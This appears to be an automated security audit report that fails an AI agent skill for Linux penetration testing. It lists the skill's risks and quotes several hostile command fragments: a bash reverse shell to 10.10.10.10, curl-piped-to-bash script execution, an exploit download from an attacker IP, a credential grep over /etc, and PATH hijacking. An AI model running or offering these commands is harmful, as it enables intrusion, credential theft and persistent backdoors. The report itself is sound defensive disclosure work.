linux-pentesting-commands
Fail
Audited by Gen Agent Trust Hub on Jun 12, 2026
Risk Level: CRITICALREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDATA_EXFILTRATIONEXTERNAL_DOWNLOADSCREDENTIALS_UNSAFE
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill documents and provides commands for downloading and executing scripts directly in the shell using piped execution patterns (e.g.,
curl -L ... | bashfor LinPEAS). - [COMMAND_EXECUTION]: Provides functional payloads for establishing reverse shells using various interpreters, including Bash, Python, Perl, and PHP (e.g.,
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1). It also includes instructions for persistent backdoors via cron jobs and SSH authorized keys. - [DATA_EXFILTRATION]: Contains specific command examples for exfiltrating sensitive data, such as system configuration files from
/etc, by compressing and piping them to external network listeners via Netcat. - [EXTERNAL_DOWNLOADS]: Instructs the download of exploitation scripts and payloads from both public GitHub repositories and arbitrary, attacker-controlled IP addresses (e.g.,
http://10.10.10.10:8000/exploit.sh). - [CREDENTIALS_UNSAFE]: Provides commands designed to harvest secrets and credentials from the file system, command history, and application configuration files (e.g.,
grep -r "password" /etc). - [PRIVILEGE_ESCALATION]: Outlines multiple techniques for gaining unauthorized root access, including environment variable manipulation (
LD_PRELOAD), Path hijacking (export PATH=/tmp:$PATH), and Docker escapes.
Recommendations
- HIGH: Downloads and executes remote code from: http://10.10.10.10:8000/exploit.sh, https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh - DO NOT USE without thorough review
- CRITICAL: 1 infected file(s) detected - DO NOT USE
- AI detected serious security threats
Audit Metadata